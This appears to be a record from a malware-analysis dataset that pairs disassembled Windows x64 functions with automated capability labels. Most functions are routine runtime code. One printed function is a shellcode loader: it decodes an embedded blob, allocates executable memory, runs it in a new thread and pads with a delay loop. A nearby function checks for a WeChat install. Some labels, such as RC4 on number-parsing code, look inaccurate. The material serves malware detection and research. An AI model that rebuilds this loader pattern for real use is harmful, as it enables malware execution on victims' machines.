joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a6c00
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x1400a6c00
sub rsp, 0x28
test ecx, ecx
je 0x1400a6c93
sub ecx, 1
je 0x1400a6c71
sub ecx, 1
je 0x1400a6c5c
sub ecx, 1
je 0x1400a6c47
cmp ecx, 1
je 0x1400a6c32
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
add rsp, 0x28
ret
mov ecx, 6
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
add rsp, 0x28
ret
mov ecx, 5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
add rsp, 0x28
ret
mov ecx, 4
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
add rsp, 0x28
ret
mov ecx, 0x17
call qword [sym.imp.USER32.dll_GetSystemMetrics]
neg eax
sbb ecx, ecx
add ecx, 2
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
add rsp, 0x28
ret
mov ecx, 0x17
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
test eax, eax
setne cl
inc ecx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
add rsp, 0x28
ret
Function at 0x1400b1190
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [rcx + 0x20]
mov rbx, rcx
mov rsi, qword [rax]
mov rax, qword [rcx + 0x40]
mov rdi, qword [rax]
cmp rsi, rdi
je 0x1400b11f8
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
sub edi, esi
mov edx, 1
mov r9, rax
movsxd r8, edi
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rax, qword [rbx + 0x58]
mov rdx, qword [rbx + 0x40]
movsxd r8, dword [rax]
mov rax, qword [rbx + 0x20]
add r8, qword [rdx]
mov rcx, qword [rax]
mov qword [rdx], rcx
sub r8d, ecx
mov rax, qword [rbx + 0x58]
mov dword [rax], r8d
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1400b12f0
Capabilities:
Check for time delay via queryperformancecounter
Check os version

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x50], rbx
mov rdi, rcx
mov edx, dword [0x1402c4fb0]
mov rax, qword gs:[0x58]
mov ecx, 4
mov rbx, qword [rax + rdx*8]
add rbx, rcx
mov eax, dword [rbx]
cmp dword [0x1402c49c0], eax
jg 0x1400b13e0
cmp byte [0x1402c49c4], 0
je 0x1400b136b
mov eax, dword [rbx]
cmp dword [0x1402c49d0], eax
jg 0x1400b13a1
lea rdx, [0x1402c49c8]
lea rcx, [rsp + 0x48]
call fcn.1400b0ee0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x48]
call fcn.1400b0f00
jmp 0x1400b1376
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
imul rax, qword [rsp + 0x40], 0xf4240
cqo
idiv qword [0x1402c49b8]
mov rdx, rax
mov rcx, rdi
call fcn.1400afff0
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
lea rcx, [0x1402c49d0]
call fcn.1400b2118
cmp dword [0x1402c49d0], 0xffffffff
jne 0x1400b1343
lea rcx, [0x1402c49c8]
call fcn.1400b0e50
lea rcx, [0x1400bb850]
call fcn.1400b24c4
nop
lea rcx, [0x1402c49d0]
call fcn.1400b20ac
jmp 0x1400b1343
lea rcx, [0x1402c49c0]
call fcn.1400b2118
cmp dword [0x1402c49c0], 0xffffffff
jne 0x1400b1330
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x48]
mov qword [0x1402c49b8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
setb byte [0x1402c49c4]
lea rcx, [0x1402c49c0]
call fcn.1400b20ac
jmp 0x1400b1330
Function at 0x1400b157c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400b15b6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400b15bb
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400b1604
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400c1290]
cmp byte [rcx + rax], 0
je 0x1400b1604
dec r8
sub rdx, 1
jne 0x1400b15ea
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400b2e40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b2e8a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b2e8a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b2e8a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b2e8a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b2e8a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b2e8c
xor al, al
add rsp, 0x28
ret
Function at 0x140025800
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x14004e900]
xor rax, rsp
mov qword [rsp + 0x48], rax
call fcn.14000b020
mov rcx, qword [0x14004eeb8]
lea rdx, [rsp + 0x28]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [rsp + 0x30]
sub ecx, dword [rsp + 0x28]
movd xmm1, ecx
mov ecx, dword [rsp + 0x34]
sub ecx, dword [rsp + 0x2c]
cvtdq2ps xmm1, xmm1
movd xmm0, ecx
lea rcx, [rsp + 0x40]
cvtdq2ps xmm0, xmm0
movss dword [rdi + 8], xmm1
movss dword [rdi + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x40]
xorps xmm1, xmm1
sub rax, qword [0x14004eec0]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x14004eec8]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x10], xmm1
mov rax, qword [rsp + 0x40]
mov qword [0x14004eec0], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x10
and al, 1
mov byte [rdi + 0x128], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, 1
mov byte [rdi + 0x129], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rdi + 0x12b], 0
mov byte [rdi + 0x12a], al
call fcn.14000b020
cmp byte [rax + 0x3a7], 0
lea rbx, [rax + 0x110]
je 0x14002592d
cvttss2si ecx, dword [rbx]
lea rdx, [rsp + 0x38]
cvttss2si eax, dword [rax + 0x114]
mov dword [rsp + 0x38], ecx
mov rcx, qword [0x14004eeb8]
mov dword [rsp + 0x3c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x38]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov dword [rbx], 0xff7fffff
mov dword [rbx + 4], 0xff7fffff
call qword [sym.imp.USER32.dll_GetActiveWindow]
cmp rax, qword [0x14004eeb8]
jne 0x140025989
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140025989
mov rcx, qword [0x14004eeb8]
lea rdx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x140025989
movd xmm0, dword [rsp + 0x20]
movd xmm1, dword [rsp + 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx], xmm0
movss dword [rbx + 4], xmm1
cmp byte [rdi + 0xc8], 0
je 0x140025999
mov eax, 0xffffffff
jmp 0x14002599e
call fcn.14000b0d0
cmp dword [0x14004e13c], eax
je 0x1400259b1
mov dword [0x14004e13c], eax
call fcn.1400259e0
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14003f0b0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x140025e40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x14004e900]
xor rax, rsp
mov qword [rsp + 0x70], rax
movzx eax, byte [rcx]
mov ebx, edx
test al, al
je 0x140025e78
cmp al, 0x25
jne 0x140025e6d
cmp byte [rcx + 1], al
jne 0x140025e78
inc rcx
movzx eax, byte [rcx + 1]
inc rcx
test al, al
jne 0x140025e61
cmp byte [rcx], 0x25
jne 0x140025f49
cmp byte [rcx + 1], 0x25
je 0x140025f49
xorps xmm3, xmm3
mov r8, rcx
cvtss2sd xmm3, xmm2
mov edx, 0x40
lea rcx, [rsp + 0x30]
movq r9, xmm3
call fcn.14000ba50
cmp byte [rsp + 0x30], 0x20
lea rcx, [rsp + 0x30]
jne 0x140025ebd
inc rcx
cmp byte [rcx], 0x20
je 0x140025eb5
lea eax, [rbx - 4]
cmp eax, 1
jbe 0x140025f37
movzx edx, byte [rcx]
movzx r8d, dl
cmp dl, 0x2d
jne 0x140025ed6
movzx r8d, byte [rcx + 1]
lea rax, [rcx + 1]
xorps xmm1, xmm1
cmovne rax, rcx
cmp r8b, 0x2b
lea rcx, [rax + 1]
cmovne rcx, rax
movzx eax, byte [rcx]
cmp al, 0x30
jl 0x140025f26
movss xmm2, dword [0x1400419f8]
nop dword [rax]
cmp al, 0x39
ja 0x140025f26
movsx eax, byte [rcx]
inc rcx
sub eax, 0x30
mulss xmm1, xmm2
movd xmm0, eax
movzx eax, byte [rcx]
cvtdq2ps xmm0, xmm0
addss xmm0, xmm1
movaps xmm1, xmm0
cmp al, 0x30
jge 0x140025f00
cmp dl, 0x2d
jne 0x140025f44
xorps xmm1, xmmword [0x140041a80]
movaps xmm0, xmm1
jmp 0x140025f4c
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
movaps xmm0, xmm1
jmp 0x140025f4c
movaps xmm0, xmm2
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14003f0b0
add rsp, 0x80
pop rbx
ret

Function at 0x140025f70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x14004e900]
xor rax, rsp
mov qword [rsp + 0x70], rax
movzx eax, byte [rcx]
mov ebx, edx
test al, al
je 0x140025fa8
cmp al, 0x25
jne 0x140025f9d
cmp byte [rcx + 1], al
jne 0x140025fa8
inc rcx
movzx eax, byte [rcx + 1]
inc rcx
test al, al
jne 0x140025f91
cmp byte [rcx], 0x25
jne 0x14002606b
cmp byte [rcx + 1], 0x25
je 0x14002606b
mov r8, rcx
movaps xmm3, xmm2
lea rcx, [rsp + 0x30]
movq r9, xmm2
mov edx, 0x40
call fcn.14000ba50
cmp byte [rsp + 0x30], 0x20
lea rcx, [rsp + 0x30]
jne 0x140025fe9
inc rcx
cmp byte [rcx], 0x20
je 0x140025fe1
lea eax, [rbx - 4]
cmp eax, 1
jbe 0x14002605d
movzx edx, byte [rcx]
movzx r8d, dl
cmp dl, 0x2d
jne 0x140026002
movzx r8d, byte [rcx + 1]
lea rax, [rcx + 1]
xorps xmm1, xmm1
cmovne rax, rcx
cmp r8b, 0x2b
lea rcx, [rax + 1]
cmovne rcx, rax
movzx eax, byte [rcx]
cmp al, 0x30
jl 0x14002604c
movsd xmm2, qword [0x140045a40]
cmp al, 0x39
ja 0x14002604c
movsx eax, byte [rcx]
inc rcx
sub eax, 0x30
mulsd xmm1, xmm2
movd xmm0, eax
movzx eax, byte [rcx]
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
cmp al, 0x30
jge 0x140026028
cmp dl, 0x2d
jne 0x140026066
xorps xmm1, xmmword [0x140045a80]
movaps xmm0, xmm1
jmp 0x14002606e
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
movaps xmm1, xmm0
movaps xmm0, xmm1
jmp 0x14002606e
movaps xmm0, xmm2
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14003f0b0
add rsp, 0x80
pop rbx
ret
Function at 0x14003b330
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x14004e900]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov ebx, r8d
mov rdi, rdx
xor edx, edx
cmp ecx, 0x7b
ja 0x14003b364
movsxd rax, ecx
lea rdx, [0x14004e2c0]
mov rdx, qword [rdx + rax*8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movdqa xmm1, xmmword [0x140046240]
movdqu xmmword [rsp + 0x48], xmm1
mov byte [rsp + 0x38], 0
test rdx, rdx
jne 0x14003b393
mov r8d, 0xa
lea rdx, str.Select_Key
jmp 0x14003b3aa
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14003b3a0
lea rcx, [rsp + 0x38]
call fcn.14003d950
cmp ebx, 1
jne 0x14003b3d0
mov r8d, 9
lea rdx, str.Press_Key
lea rcx, [rsp + 0x38]
call fcn.14003d950
mov dword [rsp + 0x30], 0x42fa0000
mov dword [rsp + 0x34], 0x41c80000
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x30]
call fcn.14002a0d0
test al, al
je 0x14003b421
test ebx, ebx
jne 0x14003b421
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14003b461
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b45c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003b45c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003ec74
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14003f0b0
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x14003f858
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003f8a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003f8a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003f8a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003f8a2
cmp dword [rcx + 0x84], 0xe
jbe 0x14003f8a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003f8a4
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005470]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005480]
mov dword [rax], 1
mov rax, qword [0x140005490]
mov dword [rax], 1
mov rax, qword [0x140005410]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005460]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140005540]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140005520]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x1400053c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001793
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.C:Program_Files__x86_TencentWeChat
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
jne 0x1400017cb
lea rax, str.C:Program_FilesTencentWeChat
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x1400017d2
mov eax, 1
jmp 0x1400017d7
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001804
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x888
lea rbp, [rsp + 0x80]
call sym.__main
call sym.O0O0O0O0O0O0O
mov qword [rbp + 0x7c0], 0
mov qword [rbp + 0x7f8], 0
mov dword [rbp + 0x7d8], 0x37b
mov qword [rbp + 0x7f0], 0
mov qword [rbp + 0x7e8], 1
mov qword [rbp + 0x7d0], 0
mov edx, dword [rbp + 0x7d8]
lea rax, [rbp + 0x7c0]
mov r8d, edx
mov rdx, rax
lea rax, [0x140004060]
mov rcx, rax
call sym.O0O0OO0O0O0OO
mov eax, dword [rbp + 0x7d8]
lea edx, [rax + 3]
test eax, eax
cmovs eax, edx
sar eax, 2
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub eax, 1
mov dword [rbp + 0x7e4], eax
jmp 0x1400019a7
mov dword [rbp + 0x7e0], 0
jmp 0x14000190f
mov dword [rbp + 0x7dc], 0
jmp 0x1400018fc
mov rdx, qword [rbp + 0x7f0]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x7e8], rax
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x2710
jle 0x1400018c1
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x2710
jle 0x1400018b5
mov rdx, qword [rbp + 0x7c0]
mov eax, dword [rbp + 0x7e4]
cdqe
add rax, rdx
movzx eax, byte [rax]
test al, al
je 0x1400019a0
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x800
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x7f8], rax
mov eax, dword [rbp + 0x7e4]
lea edx, [rax + 1]
mov rcx, qword [rbp + 0x7c0]
lea rax, [rbp - 0x40]
mov r9d, edx
lea r8, str.AeB79_ra0_3_
mov rdx, rax
call sym.O0O0O0O0OO0OO
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x800
mov r8, rdx
mov rdx, rax
call sym.memcpy
jmp 0x1400019b4
sub dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0
jns 0x1400018a9
mov rbx, qword [rbp + 0x7f8]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rbx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x7f8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x888
pop rbx
pop rbp
ret

Function at 0x140001d20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x1400026e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400026f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002700
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002710
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000275d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140002754
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000275f
add rax, 0x28
cmp rax, r9
jne 0x140002740
xor eax, eax
ret

Function at 0x140002760
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400027f0
mov rdx, qword [0x140005410]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400027de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400027de
cmp word [rax + 0x18], 0x20b
jne 0x1400027de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400027f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400027c9
add rbx, 0x28
cmp rbx, rdi
je 0x1400027f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400027c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002800
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005410]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002820
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002828
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002820
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000287d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002874
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002820
add rax, 0x28
cmp rax, r9
jne 0x140002860
xor eax, eax
ret

Function at 0x140002880
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005410]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000289f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400028a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000289f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400028c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140005410]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400028e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400028e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400028e0
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002930
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002927
test rcx, rcx
je 0x1400028e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002918
xor eax, eax
ret

Function at 0x140002940
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005410]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000295f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002968
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002980
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005410]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400029a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400029a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029a0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x1400029a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400029f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002a00
add rdx, 0x28
cmp r9, rdx
jne 0x1400029e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002a10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140005410]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002a32
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002a40
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a32
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002a32
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002a32
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140002a95
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002aa8
add rdx, 0x28
cmp rdx, r10
jne 0x140002a80
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002ab7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002ac7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002a9e
test ecx, ecx
jg 0x140002ab0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret